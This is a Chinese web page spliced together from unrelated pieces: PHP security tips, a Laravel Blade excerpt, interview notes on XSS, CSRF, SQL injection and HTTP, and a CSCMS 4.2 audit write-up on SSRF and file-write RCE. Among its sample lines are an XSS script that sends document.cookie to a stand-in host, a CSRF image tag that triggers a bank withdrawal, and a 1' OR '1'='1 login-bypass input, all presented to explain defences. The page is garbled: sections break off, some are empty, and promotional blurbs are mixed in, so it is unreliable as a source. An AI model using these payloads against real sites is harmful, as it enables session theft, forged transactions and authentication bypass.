提供互联网服务,当你在开发代码的时候必须时刻保持安全意识。可能大部分 PHP 脚本都对安全问题都不在意,这很大程度上是因为有大量的无经验程序员在使用这门语言。但是,没有理由让你因为对你的代码的不确定性而导致不一致的安全策略。当你在服务器上放任何涉及到钱的东西时,就有可能会有人尝试破解它。创建一个论坛程序或者任何形式的购物车,被攻击的可能性就上升到了无穷大。
背景
为了确保你的 web 内容安全,这里有一些常规的安全准则:
别相信表单
攻击表单很简单。通过使用一个简单的 JavaScript 技巧,你可以限制你的表单只允许在评分域中填写 1 到 5 的数字。如果有人关闭了他们浏览器的 JavaScript 功能或者提交自定义的表单数据,你客户端的验证就失败了。
用户主要通过表单参数和你的脚本交互,因此他们是最大的安全风险。你应该学到什么呢?在 PHP 脚本中,总是要验证 传递给任何 PHP 脚本的数据。在本文中,我们向你演示了如何分析和防范跨站脚本(XSS)攻击,它可能会劫持用户凭据(甚至更严重)。你也会看到如何防止会玷污或毁坏你数据的 MySQL 注入攻击。
别相信用户
假定你网站获取的每一份数据都充满了有害的代码。清理每一部分,即便你相信没有人会尝试攻击你的站点。
关闭全局变量
你可能会有的最大安全漏洞是启用了 register_globals 配置参数。幸运的是,PHP 4.2 及以后版本默认关闭了这个配置。如果打开了register_globals,你可以在你的 php.ini 文件中通过改变 register_globals 变量为 Off 关闭该功能:
register_globals = Off
新手程序员觉得注册全局变量很方便,但他们不会意识到这个设置有多么危险。一个启用了全局变量的服务器会自动为全局变量赋任何形式的参数。为了了解它如何工作以及为什么有危险,让我们来看一个例子。
假设你有一个称为 process.php 的脚本,它会向你的数据库插入表单数据。初始的表单像下面这样:
name="username" type="text" size="15" maxlength="64">
运行 process.php 的时候,启用了注册全局变量的 PHP 会将该参数赋值到 $username 变量。这会比通过 $_POST['username'] 或$_GET['username'] 访问它节省击键次数。不幸的是,这也会给你留下安全问题,因为 PHP 会设置该变量的值为通过 GET 或 POST 的参数发送到脚本的任何值,如果你没有显示地初始化该变量并且你不希望任何人去操作它,这就会有一个大问题。
看下面的脚本,假如 $authorized 变量的值为 true,它会给用户显示通过验证的数据。正常情况下,只有当用户正确通过了这个假想的 authenticated_user() 函数验证,$authorized 变量的值才会被设置为真。但是如果你启用了 register_globals,任何人都可以发送一个 GET 参数,例如 authorized=1 去覆盖它:
php
// Define $authorized = true only if user is authenticated
if (authenticated_user()) {
$authorized = true;
}
?>
这个故事的寓意是,你应该从预定义的服务器变量中获取表单数据。所有通过 post 表单传递到你 web 页面的数据都会自动保存到一个称为 $_POST 的大数组中,所有的 GET 数据都保存在 $_GET 大数组中。文件上传信息保存在一个称为 $_FILES 的特殊数据中。另外,还有一个称为 $_REQUEST 的复合变量。
除此之外,
PHP 转义实现
把输出渲染成网页或API响应时,一定要转义输出,这也是一种防护措施,能避免渲染恶意代码,造成XSS攻击,还能防止应用的用户无意中执行恶意代码。
我们可以使用前面提到的htmlentities函数转移输出,该函数的第二个参数一定要使用ENT_QUOTES,让这个函数转义单引号和双引号,而且,还要在第三个参数中指定合适的字符编码(通常是UTF-8),下面的例子演示了如何在渲染前转义HTML输出:
';echo htmlentities($output, ENT_QUOTES, ‘UTF-8');
如果不转义直接输出,会弹出提示框:
转义之后输出变成:
现代PHP支持许多模板引擎,这些模板引擎在底层已经为了做好了转义处理,比如现在流行的twig/twig和smarty/smarty都会自动转义输出。这种默认处理方式很赞,为PHP Web应用提供了有力的安全保障。
Blade 模板引擎避免XSS攻击原理
Laravel使用的模板引擎是Blade,关于Blade的使用可以参考其官方文档,这里我们简单探讨下Laravel底层如何对输出进行转义处理。
一般我们在Laravel中返回视图内容会这么做:
return view(’test’, [‘data’=>$data]);
这是一个很简单的例子,意味着我们会在resources/views目录下找到test.blade.php视图文件,然后将$data变量传入其中,并将最终渲染结果作为响应的内容返回给用户。那么这一过程经历了哪些底层源码的处理,如果$data变量中包含脚本代码(如JavaScript脚本),又该怎么去处理呢?接下来我们让来一窥究竟。
首先我们从辅助函数view入手,当然这里我们也可以使用View:make,但是简单起见,我们一般用view函数,该函数定义在Illuminate\Foundation\helpers.php文件中:
function view($view = null, $data = [], $mergeData = []){ $factory = app(ViewFactory::class); if (func_num_args() === 0) { return $factory; } return $factory->make($view, $data, $mergeData);}
一.在web页面嵌入PHP代码的几种风格
推荐使用标准风格或简短风格
.代码如下:
<?php
//标准风格
echo 'Hello World!';
?>
注我的微信公众号:后端技术漫谈
不定期推送关于后端开发、爬虫、算法题、数据结构方面的原创技术文章,以及生活中的逸闻趣事。
我目前是一名后端开发工程师。主要关注后端开发,数据安全,网络爬虫,物联网,边缘计算等方向。
原创博客主要内容
本文快速回顾了常考的的知识点,用作面试复习,事半功倍。
全复习手册文章导航
Csdn全复习手册文章导航:
https://blog.csdn.net/qqxx6661/article/details/86775594
已发布知识点复习手册
本文内容主要参考来自CyC2018的Github仓库:CS-Notes
有删减,修改,补充额外增加内容
本作品采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可。
跨站脚本攻击XSS
还可参考:https://blog.csdn.net/lpjishu/article/details/50917092
1. 概念
跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。
例如有一个论坛网站,攻击者可以在上面发布以下内容:
<script>location.href="//domain.com/?c=" + document.cookie</script>
之后该内容可能会被渲染成以下形式:
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
2. 危害
3. 防范手段
(一)设置 Cookie 为 HttpOnly
设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,在一定程度上可以防止 XSS 窃取用户的 Cookie 信息。
(二)过滤特殊字符
许多语言都提供了对 HTML 的过滤:
例如 htmlspecialchars() 可以将 < 转义为 <,将 > 转义为 >,从而避免 HTML 和 Javascript 代码的运行。
(三)富文本编辑器的处理
富文本编辑器允许用户输入 HTML 代码,就不能简单地将 < 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。
富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,可以定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。
以下例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。
XSS 过滤在线测试
跨站请求伪造CSRF
XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户浏览器的信任。
1. 概念
跨站请求伪造(Cross-site request forgery,CSRF),是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
假如一家银行用以执行转账操作的 URL 地址如下:
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
2. 防范手段
(一)检查 Referer 字段
HTTP 头中有一个 Referer 字段,这个字段用于标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer 字段应和请求的地址位于同一域名下,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
(二)添加校验 Token
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。
正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 Token 的值为空或者错误,拒绝这个可疑请求。
(三)要求用户输入验证码来进行校验。
SQL 注入攻击
1. 概念
服务器上的数据库运行非法的 SQL 语句,主要通过拼接来完成。
2. 攻击原理
例如一个网站登录验证的 SQL 查询代码为:
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
如果填入以下内容:
userName = "1' OR '1'='1"; passWord = "1' OR '1'='1";
那么 SQL 查询字符串为:
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
此时无需验证通过就能执行以下查询:
strSQL = "SELECT * FROM users;"
3. 防范手段
(一)使用参数化查询(不进行拼接)
以下以 Java 中的 PreparedStatement 为例,它是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?"); stmt.setString(1, userid); stmt.setString(2, password); ResultSet rs = stmt.executeQuery();
(二)单引号转换
将传入的参数中的单引号转换为连续两个单引号
(三)检查变量数据类型和格式
拒绝服务攻击
拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
维基百科:拒绝服务攻击
URI
URI 包含 URL 和 URN。
在这里插入图片描述
HTTP请求报文和HTTP响应报文
HTTP请求报文
一个HTTP请求报文由请求行(request line)、请求头部(header)、空行和请求数据4个部分组成,下图给出了请求报文的一般格式。
<request-line> 请求行 <headers> 请求头 <blank line> 空格 <request-body> 请求数据
在这里插入图片描述
HTTP响应报文
HTTP响应也由三个部分组成,分别是:状态行、消息报头、响应正文。
<status-line> <headers> <blank line> <response-body>
在这里插入图片描述
GET
获取资源
当前网络请求中,绝大部分使用的是 GET 方法。
HEAD
获取报文首部
和 GET 方法一样,但是不返回报文实体主体部分。
主要用于确认 URL 的有效性以及资源更新的日期时间等。
POST
传输实体主体
POST 主要用来传输数据,而 GET 主要用来获取资源。
更多 POST 与 GET 的比较请见第八章。
PUT
上传文件
由于自身不带验证机制,任何人都可以上传文件,因此存在安全性问题,一般不使用该方法
PATCH
对资源进行部分修改
PUT 也可以用于修改资源,但是只能完全替代原始资源,PATCH 允许部分修改。
DELETE
删除文件
与 PUT 功能相反,并且同样不带验证机制。
DELETE /file.html HTTP/1.1
OPTIONS
查询支持的方法
查询指定的 URL 能够支持的方法。
会返回 Allow: GET, POST, HEAD, OPTIONS 这样的内容。
CONNECT
要求用隧道协议连接代理
要求在与代理服务器通信时建立隧道,使用 SSL(Secure Sockets Layer,安全套接层)和 TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。
在这里插入图片描述
TRACE
追踪路径
服务器会将通信路径返回给客户端。
发送请求时,在 Max-Forwards 首部字段中填入数值,每经过一个服务器就会减 1,当数值为 0 时就停止传输。
通常不会使用 TRACE,并且它容易受到 XST 攻击(Cross-Site Tracing,跨站追踪),因此更不会去使用它。
有 4 种类型的首部字段:通用首部字段、请求首部字段、响应首部字段和实体首部字段。
各种首部字段及其含义如下(不需要全记,仅供查阅):
通用首部字段
首部字段名 说明 Cache-Control 控制缓存的行为 Connection 控制不再转发给代理的首部字段、管理持久连接 Date 创建报文的日期时间 Pragma 报文指令 Trailer 报文末端的首部一览 Transfer-Encoding 指定报文主体的传输编码方式 Upgrade 升级为其他协议 Via 代理服务器的相关信息 Warning 错误通知
请求首部字段
首部字段名 说明 Accept 用户代理可处理的媒体类型 Accept-Charset 优先的字符集 Accept-Encoding 优先的内容编码 Accept-Language 优先的语言(自然语言) Authorization Web 认证信息 Expect 期待服务器的特定行为 From 用户的电子邮箱地址 Host 请求资源所在服务器 If-Match 比较实体标记(ETag) If-Modified-Since 比较资源的更新时间 If-None-Match 比较实体标记(与 If-Match 相反) If-Range 资源未更新时发送实体 Byte 的范围请求 If-Unmodified-Since 比较资源的更新时间(与 If-Modified-Since 相反) Max-Forwards 最大传输逐跳数 Proxy-Authorization 代理服务器要求客户端的认证信息 Range 实体的字节范围请求 Referer 对请求中 URI 的原始获取方 TE 传输编码的优先级 User-Agent HTTP 客户端程序的信息
响应首部字段
首部字段名 说明 Accept-Ranges 是否接受字节范围请求 Age 推算资源创建经过时间 ETag 资源的匹配信息 Location 令客户端重定向至指定 URI Proxy-Authenticate 代理服务器对客户端的认证信息 Retry-After 对再次发起请求的时机要求 Server HTTP 服务器的安装信息 Vary 代理服务器缓存的管理信息 WWW-Authenticate 服务器对客户端的认证信息
实体首部字段
首部字段名 说明 Allow 资源可支持的 HTTP 方法 Content-Encoding 实体主体适用的编码方式 Content-Language 实体主体的自然语言 Content-Length 实体主体的大小 Content-Location 替代对应资源的 URI Content-MD5 实体主体的报文摘要 Content-Range 实体主体的位置范围 Content-Type 实体主体的媒体类型 Expires 实体主体过期的日期时间 Last-Modified 资源的最后修改日期时间
Cookie
HTTP/1.1 引入 Cookie 来保存状态信息。
1. 用途
由于服务器指定 Cookie 后,浏览器的每次请求都会携带 Cookie 数据,会带来额外的性能开销(尤其是在移动环境下)。
新的浏览器 API 已经允许开发者直接将数据存储到本地,如使用 Web storage API (本地存储和会话存储)或 IndexedDB。
2. 创建过程
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]
客户端之后对同一个服务器发送请求时,会从浏览器中取出 Cookie 信息并通过 Cookie 请求首部字段发送给服务器。
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
3. 分类
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
4. 作用域
Domain 标识指定了哪些主机可以接受 Cookie。如果不指定,默认为当前文档的主机(不包含子域名)。如果指定了 Domain,则一般包含子域名。例如,如果设置 Domain=mozilla.org,则 Cookie 也包含在子域名中(如 developer.mozilla.org)。
Path 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符 %x2F ("/") 作为路径分隔符,子路径也会被匹配。例如,设置 Path=/docs,则以下地址都会匹配:
5. JavaScript
通过 Document.cookie 属性可创建新的 Cookie,也可通过该属性访问非 HttpOnly 标记的 Cookie。
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie);
6. Secure 和 HttpOnly
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
7. Session和cookie选择
除了可以将用户信息通过 Cookie 存储在用户浏览器中,也可以利用 Session 存储在服务器端,存储在服务器端的信息更加安全。
Session 可以存储在服务器上的文件、数据库或者内存中。也可以将 Session 存储在 Redis 这种内存型数据库中,效率会更高。
使用 Session 维护用户登录状态的过程如下:
应该注意 Session ID 的安全性问题,不能让它被恶意攻击者轻易获取,那么就不能产生一个容易被猜到的 Session ID 值。此外,还需要经常重新生成 Session ID。在对安全性要求极高的场景下,例如转账等操作,除了使用 Session 管理用户状态之外,还需要对用户进行重新验证,比如重新输入密码,或者使用短信验证码等方式。
缓存
1. 优点
2. 实现方法
3. Cache-Control
HTTP/1.1 通过 Cache-Control 首部字段来控制缓存。
(一)禁止进行缓存
no-store 指令规定不能对请求或响应的任何一部分进行缓存。
Cache-Control: no-store
(二)强制确认缓存
no-cache 指令规定缓存服务器需要先向源服务器验证缓存资源的有效性,只有当缓存资源有效才将能使用该缓存对客户端的请求进行响应。
Cache-Control: no-cache
(三)私有缓存和公共缓存
private 指令规定了将资源作为私有缓存,只能被单独用户所使用,一般存储在用户浏览器中。
Cache-Control: private
public 指令规定了将资源作为公共缓存,可以被多个用户所使用,一般存储在代理服务器中。
Cache-Control: public
(四)缓存过期机制
max-age 指令出现在请求报文中,并且缓存资源的缓存时间小于该指令指定的时间,那么就能接受该缓存。
max-age 指令出现在响应报文中,表示缓存资源在缓存服务器中保存的时间。
Cache-Control: max-age=31536000
Expires 字段也可以用于告知缓存服务器该资源什么时候会过期。在 HTTP/1.1 中,会优先处理 Cache-Control : max-age 指令;而在 HTTP/1.0 中,Cache-Control : max-age 指令会被忽略掉。
Expires: Wed, 04 Jul 2012 08:26:05 GMT
4. 缓存验证
需要先了解 ETag 首部字段的含义,它是资源的唯一表示。URL 不能唯一表示资源,例如 http://www.google.com/ 有中文和英文两个资源,只有 ETag 才能对这两个资源进行唯一表示。
ETag: "82e22293907ce725faf67773957acd12"
可以将缓存资源的 ETag 值放入 If-None-Match 首部,服务器收到该请求后,判断缓存资源的 ETag 值和资源的最新 ETag 值是否一致,如果一致则表示缓存资源有效,返回 304 Not Modified。
If-None-Match: "82e22293907ce725faf67773957acd12"
Last-Modified 首部字段也可以用于缓存验证,它包含在源服务器发送的响应报文中,指示源服务器对资源的最后修改时间。但是它是一种弱校验器,因为只能精确到一秒,所以它通常作为 ETag 的备用方案。如果响应首部字段里含有这个信息,客户端可以在后续的请求中带上 If-Modified-Since 来验证缓存。服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回,状态码为 200 OK。如果请求的资源从那时起未经修改,那么返回一个不带有消息主体的 304 Not Modified 响应,
Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
连接管理
[图片上传失败…(image-3cf4fc-1550224161268)]
1. 短连接与长连接
2. 流水线
默认情况下,HTTP 请求是按顺序发出的,下一个请求只有在当前请求收到应答过后才会被发出。由于会受到网络延迟和带宽的限制,在下一个请求被发送到服务器之前,可能需要等待很长时间。
流水线是在同一条长连接上发出连续的请求,而不用等待响应返回,这样可以避免连接延迟。
内容协商
通过内容协商返回最合适的内容,例如根据浏览器的默认语言选择返回中文界面还是英文界面。
1. 类型
1.1 服务端驱动型
客户端设置特定的 HTTP 首部字段,例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language,服务器根据这些字段返回特定的资源。
它存在以下问题:
1.2 代理驱动型
服务器返回 300 Multiple Choices 或者 406 Not Acceptable,客户端从中选出最合适的那个资源。
2. Vary
Vary: Accept-Language
在使用内容协商的情况下,只有当缓存服务器中的缓存满足内容协商条件时,才能使用该缓存,否则应该向源服务器请求该资源。
例如,一个客户端发送了一个包含 Accept-Language 首部字段的请求之后,源服务器返回的响应包含 Vary: Accept-Language 内容,缓存服务器对这个响应进行缓存之后,在客户端下一次访问同一个 URL 资源,并且 Accept-Language 与缓存中的对应的值相同时才会返回该缓存。
内容编码
内容编码将实体主体进行压缩,从而减少传输的数据量。常用的内容编码有:gzip、compress、deflate、identity。
浏览器发送 Accept-Encoding 首部,其中包含有它所支持的压缩算法,以及各自的优先级,服务器则从中选择一种,使用该算法对响应的消息主体进行压缩,并且发送 Content-Encoding 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的,在响应中,Vary 首部中至少要包含 Content-Encoding,这样的话,缓存服务器就可以对资源的不同展现形式进行缓存。
范围请求
如果网络出现中断,服务器只发送了一部分数据,范围请求可以使得客户端只请求服务器未发送的那部分数据,从而避免服务器重新发送所有数据。
1. Range
在请求报文中添加 Range 首部字段指定请求的范围。
GET /z4d4kWk.jpg HTTP/1.1 Host: i.imgur.com Range: bytes=0-1023
请求成功的话服务器返回的响应包含 206 Partial Content 状态码。
2. Accept-Ranges
响应首部字段 Accept-Ranges 用于告知客户端是否能处理范围请求,可以处理使用 bytes,否则使用 none。
Accept-Ranges: bytes
3. 响应状态码
分块传输编码
Chunked Transfer Coding,可以把数据分割成多块,让浏览器逐步显示页面。
多部分对象集合
一份报文主体内可含有多种类型的实体同时发送,每个部分之间用 boundary 字段定义的分隔符进行分隔,每个部分都可以有首部字段。
例如,上传多个表单时可以使用如下方式:
Content-Type: multipart/form-data; boundary=AaB03x --AaB03x Content-Disposition: form-data; name="submit-name" Larry --AaB03x Content-Disposition: form-data; name="files"; filename="file1.txt" Content-Type: text/plain ... contents of file1.txt ... --AaB03x--
虚拟主机
HTTP/1.1 使用虚拟主机技术,使得一台服务器拥有多个域名,并且在逻辑上可以看成多个服务器。
通信数据转发
1. 代理
代理服务器接受客户端的请求,并且转发给其它服务器。
使用代理的主要目的是:
代理服务器分为正向代理和反向代理两种:
2. 网关
与代理服务器不同的是,网关服务器会将 HTTP 转化为其它协议进行通信,从而请求其它非 HTTP 服务器的服务。
3. 隧道
使用 SSL 等加密手段,为客户端和服务器之间建立一条安全的通信线路。
我是一名后端开发工程师。主要关注后端开发,数据安全,网络爬虫,物联网,边缘计算等方向,欢迎交流。
各大平台都可以找到我
原创博客主要内容
个人公众号:后端技术漫谈
如果文章对你有帮助,不妨收藏起来并转发给您的朋友们~
这篇文章:该 CMS 版本是 4.2。以下漏洞均被 CNVD 收录。
PHP版本用 7.0.9 就好了。
根据功能点定向审计,在后台的工具栏有一个采集功能,根据经验这种功能一般存在 SSRF。
【一>所有资源关注我,私信回复"资料"获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
使用 python3 在本地开启简易的 http 服务。
点击下一步,果不其然存在 SSRF。
进行漏洞分析。
根据 burpsuite 抓到的请求包很容易定位到代码位置。
在文件 upload/plugins/sys/admin/Collect.php#Collect->add,POST 的参数cjurl 未做安全处理被传入到 $this->caiji->str 方法。
那么我们跟进到 $this->caiji->str 方法,但是 phpstorm 找不到定义该方法的位置。
解决办法,我们可以连续按两下 Shift 键直接寻找。
跟进到 str 方法后,发现 url 参数被传入 htmlall 方法,继续跟进该方法。
可以看到 htmlall 方法使用了 curl 请求 url。
基本上有调用 $this->caiji->str 方法的地方都存在 SSRF 漏洞。
通过敏感函数回溯参数过程的方式找到该漏洞。
在 upload/cscms/app/helpers/common_helper.php#write_file 使用了文件写入的敏感函数,跟 SSRF 的 htmlall 是同一个文件。
使用 Ctrl+Shift+F 查找哪些位置调用了 write_file,在 upload/plugins/sys/admin/Plugins.php#Plugins->_route_file 调用了 write_file函数,并且 note[note[key][‘name’] 和 note[note[key][‘url’] 的值是以字符串方式拼接到文件内容的,该内容是注释,我们可以使用换行绕过。
查找哪些位置调用了 _route_file,跟踪 $note 的值是否可控,调用该函数的位置有很多,最终找到一处可利用。在 upload/plugins/sys/admin/Plugins.php#Plugins->setting_save 调用了 _route_file,由于该函数内容有点多,所以我将它拆分成两个界面,一些不重要的内容进行闭合。画红线的位置是调用到 _route_file 必须设置的,可以看到在标蓝色3的位置获取到了 $note 的值,分析到这里可以开始复现了。
使用 burpsuite 抓取请求包。
修改请求包内容写入构造好的代码,可以看到我使用了 %0a 换行去绕过注释。
在 upload/cscms/config/dance/rewrite.php 可以看到成功写入。
寻找引用 rewrite.php 的位置,懒得去看代码了,通过点击各个页面,经过不懈努力终于在个人中心的音乐页面找到,所以你需要注册一个会员用户。
重放 burpsuite 抓到的请求包,成功输出内容。
到这里其实事情还没有结束,当我尝试写入恶意内容发现被转义了。
试了 eval、shell_exec 等均被转义,但是 assert 没有被转义,考虑到 assert 在PHP7版本之后的问题,我还是需要找一个更好的办法。懒得去看转义的代码了,我根据PHP的动态特性使用以下方法成功 RCE。
此次代码审计使用了通用代码审计思路的两种,第一种:根据功能点定向审计、第二种:敏感函数回溯参数过程,没有用到的是通读全文代码。活用 phpstorm 可以让代码审计的效率大大增加。
*请认真填写需求信息,我们会在24小时内与您取得联系。